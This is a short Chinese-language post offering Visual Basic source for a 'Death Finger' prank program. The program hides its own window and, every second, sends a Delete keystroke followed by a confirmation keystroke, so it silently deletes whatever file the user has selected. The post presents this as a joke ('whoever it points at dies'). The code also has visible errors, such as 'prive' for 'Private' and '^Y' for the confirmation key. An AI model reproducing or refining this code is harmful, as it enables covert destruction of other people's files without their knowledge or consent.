[VB] 原创“死亡之指”程序——vb

试试吧，用鼠标选定一个文件——哈哈，指谁谁死！！！
prive sub form_load()
visible = false     '置入后台
timer1.interval=1000   '每秒一次
end sub
prive sub timer1_timer()
sendkeys"{DEL}"   '按下删除
for i = 1 to 10000     '缓冲作用，可自己设次数
next i
sendkeys"^Y"    '按下“是”
end sub